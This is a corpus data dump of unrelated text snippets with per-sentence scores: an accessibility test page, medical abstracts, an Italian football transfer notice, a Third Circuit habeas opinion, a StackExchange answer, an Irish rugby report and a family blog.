"<ul><li>L’image embarquée est immédiatement suivie d’un <a href=\"http://references.modernisation.gouv.fr/rgaa-accessibilite/2016/glossaire.html#lien-adjacent\">lien adjacent</a> permettant d’afficher une page ou un passage de texte contenant une alternative pertinente ;</li> <li>Un mécanisme permet à l’utilisateur de remplacer l’image embarquée par un texte alternatif pertinent ;</li> <li>Un mécanisme permet à l’utilisateur de remplacer l’image embarquée par une image possédant une alternative pertinente.</li> </ul>\n </div>\n<!-- ",
"END [test-detail] -->\n\n\n <div class=\"testcase\">\n <embed id=\"id-decorative-embed\" src=\"mock-embed.png\" type=\"image/png\" /> \n </div>\n <div class=\"test-explanation\">\n NMI : An embed image identified as decorative by marker is present on the page. ",
"It is out of scope.",
"\n </div>\n </div>\n </body>\n</html>\n"
] | {
"pile_set_name": "Github"
} | [
0.006595523562282324,
0.0009507870418019593,
0.0007557540666311979,
0.0029074910562485456,
0.0006212285370565951,
0.0010139921214431524,
0.0009793021017685533
] | 0.001975 | 7 |
[
"Tumoral cell mtDNA approximately 8.9 kb deletion is more common than other deletions in gastric cancer.",
"\nThe aim of the study was to clarify the role of deletion of mitochondrial DNA (mtDNA) in gastric carcinogenesis and to determine prevalence of mitochondrial deletions in different regions of tumoral tissue in comparison with adjacent non-tumoral tissue in gastric cancer. ",
"In order to investigate whether a high incidence of mutations exists in mtDNA of gastric cancer tissues, we screened five regions of the mitochondrial genome by PCR amplification, Southern blot and DNA sequence analysis. ",
"Of 71 cancer patients, the approximately 8.9 kb deletion was detected among different deletions in 9 cases (12.67%) of the tumoral tissues and 1 case (1.40%) in non-tumoral tissues that were adjacent to the tumors. ",
"Level of the 8.9 kb deletion has been found to be more than other deletions in tumoral tissues. ",
"The approximately 8.9 kb deletion has an obvious correlation with age and histological type. ",
"These data suggest that the approximately 8.9 kb deletion in mtDNA may play an important role in gastric carcinogenesis."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0038743531331419945,
0.0006776370573788881,
0.0006040060543455184,
0.0006576113519258797,
0.001103098620660603,
0.0006913082324899733,
0.0006444974569603801
] | 0.001179 | 7 |
[
"Udinese Calcio comunica di aver raggiunto l'accordo con il club brasiliano dell'Atletico Paranaense per la cessione a titolo temporaneo, fino al 31 dicembre 2020 dell'attaccante Felipe Vizeu do Carmo, classe 1997, in forza al Gremo fino al 31 dicembre 2019.",
"\n\n\n\nCresciuto nelle giovanili dell'America Mineiro e poi del Flamengo viene promosso nella prima squadra rossonera dove in due stagioni colleziona 37 presenze e mette a segno 10 reti.",
"\n\n\n\nNel febbraio del 2018 viene acquistato dall'Udinese (5 presenze) per poi essere girato in prestito al Gremio con cui è sceso in campo 11 volte e segnando una rete.",
"\n\n\n\nLa Società augura al giocatore le migliori soddisfazioni professionali e l’in bocca al lupo per la nuova avventura con la maglia dell'Atletico Paranaense."
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0034083120990544558,
0.1580544263124466,
0.02849709801375866,
0.007012900896370411
] | 0.049243 | 4 |
[
"Management of pregnancy in women with acquired and congenital heart disease.",
"\nHeart disease is the leading cause of maternal mortality in the UK. ",
"Deaths from acquired conditions such as ischaemic heart disease are increasing and often occur in patients with no history of heart disease, thus emphasising the need for vigilance for risk factors in women of childbearing age. ",
"All women with known heart disease should have pre-pregnancy counselling to assess for maternal and fetal risk. ",
"Women deemed to be at moderate or high risk should be under the care of a specialist antenatal team with experience of managing women with heart disease in pregnancy. ",
"Conditions that are considered particularly high risk (mortality >10%) include Marfan syndrome with dilated aortic root, severe left heart obstructive lesions, pulmonary hypertension, and severe left ventricular dysfunction. ",
"This article reviews the management of women with heart disease during pregnancy, labour and in the puerperium."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0014603044837713242,
0.0008933285716921091,
0.002563909161835909,
0.0010320220608264208,
0.0014696682337671518,
0.0014362144283950329,
0.0010860131587833166
] | 0.00142 | 7 |
[
" NOT PRECEDENTIAL\n\n UNITED STATES COURT OF APPEALS\n FOR THE THIRD CIRCUIT\n\n\n No. ",
"08-3910\n\n\n MIGUEL ALICIA,\n Appellant\n\n v.\n\n JOHN KARESTES;\n THE DISTRICT ATTORNEY OF THE COUNTY OF PHILADELPHIA;\n THE ATTORNEY GENERAL OF THE STATE OF PENNSYLVANIA\n\n\n On Appeal from the United States District Court\n for the Eastern District of Pennsylvania\n D.C. Civil Action No. ",
"07-cv-3183\n (Honorable Eduardo C. Robreno)\n\n\n Submitted Pursuant to Third Circuit LAR 34.1(a)\n April 19, 2010\n Before: SCIRICA, AMBRO and ALARCÓN * , Circuit Judges.",
"\n\n (Filed: August 6, 2010)\n\n\n\n\n OPINION OF THE COURT\n\n\nSCIRICA, Circuit Judge.",
"\n\n\n\n *\n The Honorable Arthur L. Alarcón, United States Circuit Judge for the Ninth Judicial\nCircuit, sitting by designation.",
"\n\f Petitioner Miguel Alicia appeals the denial of his writ of habeas corpus.1 Alicia v.\n\nKarestas, No. ",
"08-03910, 2008 WL 4108056, at *1 (E.D. Pa. 2008). ",
"At issue is whether\n\nAlicia’s petition is barred by the one-year statute of limitations in the Antiterrorism and\n\nEffective Death Penalty Act of 1996 (AEDPA), Pub. ",
"L. No. ",
"104-132, § 101, 110 Stat.",
"\n\n1214 (codified in 28 U.S.C. § 2244(d)(1)(A)). ",
"We will affirm.",
"\n\n I.\n\n In 1999, a jury in the Court of Common Pleas found Alicia guilty of involuntary\n\ndeviate sexual intercourse, incest, and corrupting the morals of a minor, crimes for which\n\nhe was sentenced to 17.5 to 35 years in prison. ",
"On direct review, the Pennsylvania\n\nSuperior Court affirmed the conviction, Commonwealth v. Alicea, 778 A.2d 1237 (Pa.\n\nSuper. ",
"Ct. ",
"2001), and the Pennsylvania Supreme Court denied Alicia’s petition for\n\nallowance of appeal on October 9, 2001.2 Commonwealth v. Alicea, 788 A.2d 371 (Pa.\n\n2001). ",
"Alicia’s conviction became final on January 7, 2002, after the time to file a\n\npetition for a writ of certiorari with the United States Supreme Court expired.",
"\n\n On collateral review, Alicia filed a pro se petition under the Post Conviction Relief\n\nAct (PCRA), 42 Pa. Cons. ",
"Stat. ",
"Ann. §§ ",
"9541–46, on January 3, 2003, three days before\n\nthe Pennsylvania statute of limitations would have elapsed, see id. § 9545(b). ",
"The PCRA\n\n 1\n The District Court had subject matter jurisdiction under 28 U.S.C. § 2254(a). ",
"We\nhave appellate jurisdiction under 28 U.S.C. § 1291.",
"\n 2\n The Court of Common Pleas of Philadelphia County, the Pennsylvania Superior\nCourt, and the Supreme Court of Pennsylvania spell the petitioner’s name as Miguel\nAlicea. ",
"We will use the District Court’s spelling, Miguel Alicia.",
"\n\n 2\n\fcourt denied the petition, and the Pennsylvania Superior Court affirmed. ",
"Commonwealth\n\nv. Alicea, 913 A.2d 937 (Pa. Super. ",
"Ct. ",
"2006). ",
"On March 20, 2007, the Pennsylvania\n\nSupreme Court denied the petition for an allowance of appeal. ",
"Commonwealth v. Alicea,\n\n919 A.2d 954 (Pa. 2007).",
"\n\n On August 2, 2007, Alicia filed his federal habeas petition for a writ of habeas\n\ncorpus under 28 U.S.C. § 2254.3 The petition was referred to a Magistrate Judge and\n\nincluded the following claims: (1) the trial court’s allowance of expert testimony created\n\na fundamentally unfair trial in violation of the Due Process Clause of the Fourteenth\n\nAmendment; (2) his sentence was unconstitutionally excessive; (3) his counsel rendered\n\nineffective assistance at sentencing because he failed to advise Alicia to “be remorseful or\n\nsay nothing;” and (4) actual innocence. ",
"In his petition, Alicia asserted that medical\n\nincapacity from March 2007 through August of 2007 prevented him from filing a timely\n\npetition.",
"\n\n On March 29, 2008, the Magistrate Judge issued a Report and Recommendation\n\ndenying the petition because it was time-barred under 28 U.S.C. § 2244(d). ",
"Alicia filed\n\nobjections to the Report and Recommendation stating he had been hospitalized on\n\nnumerous occasions as a result of his health problems. ",
"More specifically, Alicia argued\n\nthat the court should equitably toll the filing of his habeas corpus petition because he\n\n\n\n\n 3\n A habeas petition by a pro se petitioner is deemed filed when he delivers it to prison\nofficials for mailing. ",
"Burns v. Morton, 134 F.3d 109, 113 (3d Cir. ",
"1998).",
"\n\n 3\n\fexperienced persistent pain from a torn rotator cuff in his left shoulder between March\n\nand his filing of the petition on August 3, 2007.",
"\n\n The District Court approved the Magistrate Judge’s Report and Recommendation.",
"\n\nAlicia filed a Notice of Appeal, and then filed for an application for a Certificate of\n\nAppealability. ",
"We granted Alicia’s application in July 2009 on one question: whether the\n\nDistrict Court erred in not convening a hearing to determine whether Alicia was entitled\n\nto equitable tolling.4\n\n II.",
"\n\n Under AEDPA, a person in custody under a state court judgment must file a\n\nfederal habeas petition within one year from his final judgment. ",
"Holland v. Florida, 130\n\n\n\n\n 4\n We review the District Court’s denial of an evidentiary hearing in a habeas case for\nabuse of discretion. ",
"United States v. Lilly, 536 F.3d 190, 195 (3d Cir. ",
"2008). ",
"Though we\nhave not articulated a standard of review for whether a district court erred in denying an\nevidentiary hearing regarding equitable tolling, the Supreme Court has held, “where an\napplicant for federal habeas relief is not barred from obtaining an evidentiary hearing by\n28 U.S.C. § 2254(e)(2), the decision to grant such a hearing rests in the discretion of the\ndistrict court.” ",
"Schriro v. Landrigan, 550 U.S. 465, 468 (2007). ",
"Other circuits have held\na district court’s denial of an evidentiary hearing in regard to equitable tolling is reviewed\nfor abuse of discretion. ",
"See Drew v. Dept. ",
"of Corrections, 297 F.3d 1278, 1281 (11th Cir.",
"\n2002) (“We review a trial court’s decision whether to conduct an evidentiary hearing on\nan equitable tolling claim for an abuse of discretion.”); ",
"Fischer v. Gibson, 262 F.3d 1135,\n1145 (10th Cir. ",
"2001) (“Since 28 U.S.C. § 2244 does not require a hearing on the issue of\ntime-bar or equitable tolling, an evidentiary hearing would be a matter of discretion.”)",
"\n Separate from the District Court’s denial of an evidentiary hearing, our ultimate\nreview of Alicia’s equitable tolling claim is plenary. ",
"See Jones v. Morton, 195 F.3d 153,\n156 (3d Cir. ",
"1999) (exercising plenary review over whether appellant was entitled to\nequitable tolling pursuant to 28 U.S.C. § 2244). ",
"See also Hartmann v. Carrol, 492 F.3d\n478, 480 (3d Cir. ",
"2007) (reviewing timeliness of a federal habeas application is plenary).",
"\n\n 4\n\fS.Ct. ",
"2549, 2554 (2010); 28 U.S.C. § 2244(d). ",
"The one-year statute of limitations\n\ncommences to run from “the date on which the judgment became final by the conclusion\n\nof direct review or the expiration of the time for seeking such review.” ",
"28 U.S.C. §\n\n2244(d)(1)(A).",
"\n\n The one-year limitation is subject to both statutory and equitable tolling. ",
"Merritt v.\n\nBlaine, 326 F.3d 157, 161 (3d Cir. ",
"2003). ",
"Statutory tolling for a federal habeas claim\n\noccurs during the “time during which a properly filed application for state post-conviction\n\nor other collateral review with respect to the pertinent judgment or claim is pending.” ",
"28\n\nU.S.C. § 2244(d)(2). ",
"As noted, Alicia’s conviction on direct review became final on\n\nJanuary 7, 2002. ",
"The one-year AEDPA statute of limitations began to run on January 8,\n\n2002. ",
"Alicia filed his PCRA petition on January 3, 2003. ",
"The limitation period was\n\nstatutorily tolled from the date of filing, January 3, 2003, through March 20, 2007, the\n\ndate of the Pennsylvania Supreme Court’s decision denying Alicia’s PCRA petition. ",
"On\n\nMarch 21, 2007, the statute of limitations period began to run again and expired three\n\ndays later, on March 24, 2007. ",
"Alicia filed his petition on August 2, 2007, 131 days after\n\nthe statutory deadline. ",
"Therefore, Alicia’s petition was untimely.",
"\n\n The court may apply equitable tolling to a federal habeas petition. ",
"See Holland,\n\n130 S.Ct. ",
"2554 (holding the timeliness provision in the habeas corpus statue is subject to\n\nequitable tolling). ",
"A petitioner seeking equitable tolling bears the burden of establishing\n\nthat (1) some extraordinary circumstances prevented him from exercising his rights, and\n\n\n\n 5\n\f(2) he has diligently pursued his claims. ",
"Id. at 2562 (quoting Pace v. DiGuglielmo, 544\n\nU.S. 408, 418 (2005)); See also Merritt, 326 F.3d at 158. ",
"Alicia contends the District\n\nCourt should have conducted more fact-finding, and specifically should have held an\n\nevidentiary hearing, to determine his equitable tolling motion. ",
"He acknowledges his\n\nuntimely filing, but maintains his medical condition constituted an extraordinary\n\ncircumstance for which the statute of limitations should have been equitably tolled.",
"\n\nAlicia also argues that because “reports alone would have been insufficient . . . ",
"to justify\n\nthe extraordinary remedy of equitable tolling,” an evidentiary hearing would have\n\nprovided him the opportunity to present his claims.",
"\n\n To qualify for equitable tolling, a petitioner must first demonstrate that\n\nextraordinary circumstances caused his failure to timely file his petition. ",
"See Holland,\n\n130 S.Ct. ",
"at 2562; LaCava v. Kyler, 398 F.3d 271, 276 (3d Cir. ",
"2005). ",
"Alicia allegedly\n\nsuffered symptoms from a rotator cuff tear from March 1, 2007 to August 17, 2007.5 He\n\ncontends he experienced persistent pain from his injury so that daily activities, such as\n\nfeeding himself, were painful. ",
"But his injury did not necessarily preclude opportunities to\n\nfile, since prison officials or others could have assisted him in completing the forms. ",
"C.f.",
"\n\nArbas v. Nicholson, 403 F.3d 1379, 1381 (Fed. ",
"Cir. ",
"2005) (holding physical conditions\n\njustify tolling when those conditions impair cognitive function or the ability to\n\n\n 5\n In his application for a Certificate of Appealability, Alicia pointed to other medical\nimpairments which affected him prior to and during his incarceration, but did not assert\nthose ailments affected his ability to timely file his petition.",
"\n\n 6\n\fcommunicate). ",
"In fact, Alicia filed his habeas petition two weeks before his rotator cuff\n\nsurgery, during the time the alleged impairment supposedly prevented an earlier filing.",
"\n\nThis fact contravenes Alicia’s argument that he was incapacitated and could not timely\n\nfile. ",
"Alicia’s shoulder injury, the only specific allegation purporting to explain his\n\nuntimely filing, is not so out of the ordinary as to warrant tolling. ",
"The District Court\n\nproperly found the injury insufficient to comprise extraordinary circumstances.",
"\n\n A petitioner seeking equitable tolling must “exercise reasonable diligence” in\n\nbringing his claims. ",
"Holland, 130 S.Ct. ",
"at 2562; LaCava, 398 F.3d at 277 (quoting Miller\n\nv. N.J. State Dep’t of Corr., ",
"145 F.3d 616, 618 (3d Cir. ",
"1998)). ",
"The obligation to act\n\ndiligently pertains to both the federal habeas claim and the period in which the petitioner\n\nexhausts state court remedies, and the court may consider the time of filing the habeas\n\npetition as a factor in determining reasonable diligence. ",
"LaCava, 398 F.3d at 277.",
"\n\n A district court has the discretion to hold an evidentiary hearing in certain cases.",
"\n\nSchriro v. Landrigan, 550 U.S. 465, 468 (2007). ",
"The AEDPA “permits evidentiary\n\nhearings on habeas review, but only in a limited number of circumstances” listed under\n\nthe statute. ",
"Campbell v. Vaughn, 209 F.3d 280, 286 (3d Cir. ",
"2000) (emphasis removed).",
"\n\nA petitioner must be “diligent in his efforts to develop a factual basis for his claim in the\n\nstate court proceedings” before a hearing is warranted. ",
"Palmer v. Hendricks, 592 F.3d\n\n\n\n\n 7\n\f386, 392 (3d Cir. ",
"2010).6 Notwithstanding the “flexibility inherent in equitable procedure\n\n[that] enables courts to meet new situations [that] demand equitable intervention, and to\n\naccord all the relief necessary to correct . . . ",
"particular injustices,” Holland, 130 S.Ct. ",
"at\n\n2563 (internal quotation marks and citation omitted), as well as our need to avoid an\n\n“overly rigid per se approach” of statutory law, id. at 2564, Alicia has not proffered new\n\nevidence other than the facts already discovered and asserted. ",
"Accordingly, the District\n\nCourt properly exercised its discretion in dismissing the petition without conducting an\n\nevidentiary hearing.",
"\n\n Though equitable tolling may be proper when “the principles of equity would\n\nmake the rigid application of a limitation period unfair,” LaCava, 398 F.3d at 276\n\n(quoting Miller, 145 F.3d at 618), Alicia has not offered any basis for finding that he has\n\nbeen prevented in some extraordinary way from asserting his rights, nor has he shown he\n\nhas been diligent in pursuing his claims.",
"\n\n III.",
"\n\n For the foregoing reasons, we will affirm the dismissal of Alicia’s petition.",
"\n\n\n\n\n 6\n “If the applicant has failed to develop the factual basis of a claim in state court\nproceedings, the court shall not hold an evidentiary hearing on the claim unless the\napplicant shows that the claim relies on a factual predicate that could not have been\npreviously discovered through the exercise of due diligence.” ",
"28 U.S.C. §§ 2254\n(e)(2)(A)(ii).",
"\n\n 8\n\f"
] | {
"pile_set_name": "FreeLaw"
} | [
0.0007681604474782944,
0.0007293052622117102,
0.0006084428750909865,
0.000612352043390274,
0.0006418499397113919,
0.0010928477859124541,
0.0006963122286833823,
0.0008494466892443597,
0.001012755325064063,
0.0008541811257600784,
0.0006598394247703254,
0.0005902303964830935,
0.04782306030392647,
0.0006520905299112201,
0.0010726930340752006,
0.000690505257807672,
0.0006914792465977371,
0.0006803582073189318,
0.0009744156268425286,
0.00105122325476259,
0.0006483541219495237,
0.0006862313020974398,
0.0007028606487438083,
0.0006541767506860197,
0.0005815537297166884,
0.0007585565908811986,
0.0009162412025034428,
0.0010726930340752006,
0.0007848869427107275,
0.0007559194345958531,
0.0007469067350029945,
0.0008441663812845945,
0.0007433050777763128,
0.0006620683125220239,
0.0006332449265755713,
0.000765159958973527,
0.000894055818207562,
0.0007752228993922472,
0.0012520583113655448,
0.0005540443235076964,
0.0006259868387132883,
0.0006631152937188745,
0.0008752841968089342,
0.0006845189491286874,
0.0008970649796538055,
0.0007660299306735396,
0.0006628319388255477,
0.0007012923597358167,
0.0006837636465206742,
0.0006911553791724145,
0.0006826550816185772,
0.0006224660319276154,
0.0007897572359070182,
0.0006014485843479633,
0.000676110212225467,
0.0007055602036416531,
0.0006115064024925232,
0.0006590945995412767,
0.0006624902598559856,
0.0009900436270982027,
0.0008202564204111695,
0.000625514192506671,
0.0007797995349392295,
0.0005978864501230419,
0.0007058759219944477,
0.0007573907496407628,
0.0008647437207400799,
0.0007897771429270506,
0.0005614854162558913,
0.0005736978491768241,
0.0006037649582140148,
0.000669336412101984,
0.0006543928175233305,
0.0006071982206776738,
0.0012087465729564428,
0.0008829267462715507,
0.0006567626260221004,
0.0006700886297039688,
0.0006492537795566022,
0.000678067677654326,
0.0005797644844278693,
0.0006491944077424705,
0.0006748172454535961,
0.0005611146916635334,
0.0006805818993598223,
0.0006567626260221004,
0.0006762839038856328,
0.0007664414006285369,
0.001704907394014299,
0.0005996507243253291,
0.0038092355243861675,
0.0006890770746394992,
0.001045971061103046,
0.0006769686588086188,
0.0007033105939626694,
0.0012214076705276966,
0.001297309179790318,
0.0009661419899202883,
0.0006544764037244022,
0.000726693426258862,
0.000732417858671397,
0.0007613123743794858,
0.0007475708262063563,
0.000829842989332974,
0.0007446343079209328,
0.0007475102320313454,
0.0006655377219431102,
0.0007012923597358167,
0.0005670161917805672,
0.0006825698656029999,
0.0006113079143688083,
0.0006569479592144489,
0.0008258349262177944,
0.0006200815550982952,
0.0007536723278462887,
0.0006009964854456484,
0.0007077829213812947,
0.000577908824197948,
0.0012429648777469993,
0.0005216345307417214,
0.0006574358558282256,
0.0008222609758377075,
0.001223569386638701
] | 0.001164 | 123 |
[
"Q:\n\nMDI child shows icon when maximized\n\nI have an MDI parent and MDI child. ",
"I want to hide the icon of the child form in a maximized state, so I tried the following:\ng.WindowState = FormWindowState.",
"Normal;\ng.ShowIcon = false;\ng.Show();\ng.WindowState = FormWindowState.",
"Maximized;\n\nThe showicon value of the child form is set to false, but when it's maximized, it still shows an icon:\n\nA:\n\nMDI requires these frame decorations to be present, it will misbehave in various ways when you try to hide them. ",
" A simple workaround is to create an icon that's entirely transparent.",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0026890516746789217,
0.0006591279525309801,
0.0008935941150411963,
0.0006725056446157396,
0.0006306893192231655,
0.001995444530621171
] | 0.001257 | 6 |
[
"Complications of tibio-talar-calcaneal fusion using intramedullary nails.",
"\nHindfoot nails are being increasingly used, however significant complications can occur. ",
"The purpose of this study was to assess the complications following the use of hindfoot nails at our institution. ",
"We identified patients from a retrospective database. ",
"All underwent hindfoot nailing under the care of the senior author. ",
"Details of complications were recorded. ",
"We identified 52 patients undergoing 55 procedures. ",
"Mean follow up was 44.8 months (18-69). ",
"Forty patients achieved ankle fusion and 36 subtalar joint fusion. ",
"Complications included prominent metalwork in 13 patients, CRPS in five and one peri-prosthetic fracture. ",
"Nine developed deep infection, and of these limb salvage was achieved in six patients by removal of metalwork, debridement and insertion of antibiotic loaded cement beads. ",
"The remaining three patients underwent below knee amputation. ",
"Significant complications can occur, although limb preservation was possible in most cases of deep infection. ",
"Hindfoot nailing should be reserved as salvage procedure."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0007755022379569709,
0.001069344813004136,
0.0006210526335053146,
0.0005524210282601416,
0.0008121123537421227,
0.0005431939498521388,
0.0005602214368991554,
0.0005824096733704209,
0.0006500224117189646,
0.0005864315899088979,
0.0008105556480586529,
0.00222664512693882,
0.0005874825292266905,
0.0010155579075217247
] | 0.000814 | 14 |
[
"Donncha O’Callaghan has been called to account by the match citing commissioner Eddie Walsh for an incident in the 41st minute of Munster’s 21-20win over Ulster on Friday.",
"\n\nThe lock caught Stuart Olding with his boot and the Ulster fullback was forced to undergo a Head Injury Assessment (HIA) before returning to play on.",
"\n\nThe disciplinary hearing will take place midweek, with d etails yet to be confirmed.",
"\n\nO’Callaghan presented his irascible side to Ulster at Thomond Park, his physical presence at ruck and maul a nuisance to the point of infuriating distraction.",
"\n\nThe Munster captain on the night was a catalyst in shifting the momentum away from the visitors to a point where the homeside had the match won only to nearly lose it rather carelessly in the end.",
"\n\nThere was more though to his game than simply being an irritant.",
"\n\nSecond Captains\n\nCurrent Irish internationals, national team captain Paul O’Connell and Dave Foley are pencilled in for the visit of Clermont Auvergne as the European Champions Cup resumes, but O’Callaghan offered a reminder that he can add value.",
"\n\nFull blessing\n\n“But it’s all about us getting a result on Saturday and I’m going to do whatever it takes for that to happen.",
"\n\n“So, yeah, just keep putting my hand up and hopefully trying to impress the coaches, because the best team goes out here.”",
"\n\nMunster face Clermont on the back of a seven-match winning streak. “",
"We’re purely focused game by game so you never think it’ll be great coming into Clermont having a run of (winning) seven games.",
"\n\nExtra niggle\n\n“I know we’ve got [he] Thomond [Park factor] but that might not be enough if you’ve a slow start like that [12-3 down to Ulster after the first quarter].”",
"\n\nThe provincial repatriation of the remaining Ireland squad players should be something to be embraced but O’Callaghan warns that the group cannot leave everything to the returnees.",
"\n\n“We’ve to drive the standards so they can just slot in. ",
"But you’re bringing back quality players and they’re on the top of their game at the moment so hopefully they can bring that little bit of intensity.”"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.000865932262968272,
0.006004916504025459,
0.0006379802944138646,
0.014558964408934116,
0.0006988517707213759,
0.015589974820613861,
0.0006042174063622952,
0.0009645807440392673,
0.0007399818277917802,
0.0017477301880717278,
0.0006612322176806629,
0.008359726518392563,
0.0006710232119075954,
0.0008233684930019081,
0.0006505188648588955
] | 0.003572 | 15 |
[
"Tuesday, April 23, 2013\n\nSpring is in full bloom around here. ",
"It's time to till the garden and get some things growing. ",
"In the spirit of the warmer weather, I've been urging Devin to think about a shorter haircut. ",
"Although her hair is very thick and beautiful, it's a nightmare to care for. ",
"And, I was WAY over the screaming and fighting about her hair.",
"\n\nLuckily, two of her friends at school had major cuts recently. ",
"This seemed to inspire and give her confidence, that a \"summer cut\" would be ok.",
"\n\nSo, it turned out more than ok. ",
"She was thrilled!",
"\n\nThis weekend, her school celebrated Earth Day with bounce houses, face painting and tie-dying. ",
"She had so much fun...bounced and played with her friends for 3.5 hours.",
"\n\nThis is Devin with one of her \"BFF's.\" ",
"These two are so funny together. \"",
"S\" is a year older and a grade up from Devin, but they get along very well.",
"\n\nSunday, April 14, 2013\n\nEvery time I remember I need to blog, something gets in the way. ",
"And, I don't want to give up this record of her early childhood. ",
"So, I'm going to try and blog once a week or more to get back in the swing of things. ",
"Honestly, she's changing & growing so much...it's hard to keep up.",
"\n\nShe's just a few weeks away from being 7 years old! ",
"She's 50\" tall & 57 lbs, which puts her in the 80th percentile for both. (",
"Meaning she's taller than most kids her age) She loves school, piano, gymnastics, her friends and many other varied things. ",
"We spent a huge amount of time this winter being sick & are very (very) happy Spring has sprung.",
"\n\nHere's a sample of her cursive writing. (",
"Which continues to interest her)\n\nDevin was SO excited to see her cousins and especially to meet the newest member of the family.",
"\n\nShe's generally NOT one for babies, but this one is very hard to resist!",
"\n\nThis age is wonderful. ",
"She's so independent, but still needs \"mama\" sometimes. ",
"She knows what she likes, but is willing to try new things. ",
"We are witness to a full-on obsession with piano and gymnastics. ",
"Her tenacity is paying off, as she will practice piano for several hours a day on weekends. ",
"Same thing with gymnastics. ",
"She does handstands and backbends all day. ",
"It's exhausting to watch.",
"\n\nMostly, we just sit back and watch her grow and be happy. ",
"And, savor every moment of this age. ",
"It hit me this morning that in just five years, we'll have a 12 year old on our hands.",
"\n\nMonday, February 25, 2013\n\nI can't believe I haven't posted since the 1st of the year. ",
"What a bad mommy blog this is. ",
"Oh well:) I've been incredibly busy doing a few things, mainly caring for this almost 7 year old who's been sick (off and on) for nearly 3 weeks. ",
"Also, her school's annual benefit was Friday night and I was the Chair of the event. ",
"All of this, while working some and playing tennis most everyday.",
"\n\nThis poor thing has been put through the ringer this winter. ",
"And, I suppose we were due. ",
"She only missed a day of school in the Fall, while others were out sick. ",
"But, we're getting pay back for sure. ",
"She missed an entire week of school with the flu, Type B. It was awful to watch, she felt miserable. ",
"There was a 48 hour period, where I basically never left her side. ",
"She just needed to be held and encouraged to stay hydrated. ",
"Tylenol and Motrin were amazing at giving her just enough relief to drink and eat a little. ",
"Her fever was as high as 103.7, she was a hot mess.",
"\n\nAfter 3 days of school, she sprouted a new (and high) fever with terrible congestion and runny nose. ",
"A quick trip back to the Dr. said no flu or strep, just another nasty virus. ",
"Thankfully, her school is off this week and we needed this break. ",
"We're purposefully laying low, avoiding crowds and trying to rebuild her immune system.",
"\n\nI rarely see Flickers and this small one was trying to stay warm on one our coldest days. ",
"Poor thing. ",
"He couldn't figure out our squirrel proof feeder:(\n\nThe school's benefit was a big success, raising over $16,000. ",
"In a crazy twist, I won the \"Split the Cash\" raffle we held. ",
"Our Director tumbled the thing around and around and slowly said my name!!!",
"\nTrust me, we can really use the $2000.00. ",
"My poor Mazda wagon needed about that much to get her back in shape. ",
"It all works out I guess!!",
"\n\nMonday, January 7, 2013\n\nIt was a very busy couple of weeks to say the least. ",
"But, we all stayed healthy and enjoyed the nearly 2 week break from our regular schedule. ",
"My friend Debbie loves to buy Dev clothes & found this at the Target/Neiman Marcus display. ",
"She wore it for the school's Holiday Performance, which was quite a treat. ",
"The elementary class sang, \"All I Want For Christmas.\" ",
"Very fitting, since most are missing at least their two front teeth! ",
"They also played the violin for two songs and performed a skit.",
"\n\nI made so many sugar cookies this season. ",
"Like, I was officially OVER baking and icing cookies by Christmas Day. ",
"But, these turned out really cute for one of my tennis Christmas parties.",
"\n\nI think officially, we had 2.6\" of snow last week. ",
"It was a perfect snow. ",
"It stuck to everything and we had lots of fun playing in the white stuff.",
"\n\nI nearly died rolling these snowballs, the snow was so wet and heavy.",
"\n\nI was so proud, until she immediately wanted to knock it over. ",
"I couldn't believe it & tried to persuade her to keep our devil snow person for a couple of days. ",
"But, she literally begged...and I wasn't about to ruin this kind of fun.",
"\n\nThen, we decided to use the rare stretch of time Matt had off work to install 800 square feet of hardwood flooring. ",
"It was an unbelievable amount of work. ",
"Very, very hard work. ",
"We started before Christmas Day, ripping up the carpet and padding in strips. ",
"There were 100's of staples and nails to remove. ",
"Our goal was to get everything prepped by Christmas Eve. ",
"So, I suppose it was a Holiday to remember....the Christmas tree on bare plywood.",
"\n\nWe had a lovely Christmas morning. ",
"About 45 seconds after the last gift was opened, Matt started taking decorations off the tree. ",
"And, that signaled the start of our very big project.",
"\n\nShe was actually a very good helper & extremely patient while we worked all day on the floor. ",
"My Mom helped a lot by entertaining Devin for a few hours most days and cooking some meals. ",
"Our house was absolutely upside down, as we needed most of the 1st floor somewhere else. ",
"There was a point when the kitchen looked like an episode of \"Hoarders.\" ",
"Every inch of counter space had stuff stacked high.",
"\n\nWe hauled in 47 boxes of Acacia wood.",
"\n\nThis is the prep work. ",
"No wonder our legs, backs, knees and just about everything else hurt.",
"\n\nDevin took a spa break:)\n\nBaxter took a plastic wrapping break.",
"\n\nThe finished product!",
"\n\nWe were so proud of ourselves. ",
"Many spots took several hours to figure out & I would watch the time just clicking away. ",
"The right tools were also essential. ",
"Our friends, lent us the pneumatic staple guns and compressor. ",
"We had the saws, drills and nail guns. ",
"And, my Mom bought us two more saws/tools that helped tremendously for the door jambs and fireplace. ",
"So, we didn't end up spending a whole lot more than we budgeted for. ",
"For once."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006461297161877155,
0.0011623152531683445,
0.0006135341827757657,
0.016059763729572296,
0.023407025262713432,
0.0008138252305798233,
0.0005677806329913437,
0.0006196865579113364,
0.0008660276071168482,
0.0031110751442611217,
0.0009528647060506046,
0.01328020915389061,
0.0006322848494164646,
0.0006344421999529004,
0.0008845333941280842,
0.0007045574020594358,
0.0006586839444935322,
0.0027281343936920166,
0.1996239274740219,
0.0019145910628139973,
0.0006967480294406414,
0.0028128856793045998,
0.0011884075356647372,
0.0005555675597861409,
0.03375358507037163,
0.0006095082499086857,
0.008019106462597847,
0.0006303128320723772,
0.0011986312456429005,
0.0014207223430275917,
0.0006831838982179761,
0.012202790938317776,
0.0008089338080026209,
0.0009769635507836938,
0.001983988331630826,
0.0163981094956398,
0.0007033306756056845,
0.4252949059009552,
0.02078738994896412,
0.0006910701631568372,
0.0006906790076754987,
0.003471112810075283,
0.0006370251649059355,
0.004250154830515385,
0.0012680026702582836,
0.05294495448470116,
0.001669353456236422,
0.0007041576318442822,
0.0009619732736609876,
0.12376786768436432,
0.051505196839571,
0.007522427011281252,
0.0010032972786575556,
0.0011569164926186204,
0.000854792189784348,
0.13905850052833557,
0.0006124486681073904,
0.0025134843308478594,
0.0008502224809490144,
0.0006164481746964157,
0.0009921276941895485,
0.0007914821617305279,
0.0005758227780461311,
0.0005624276236630976,
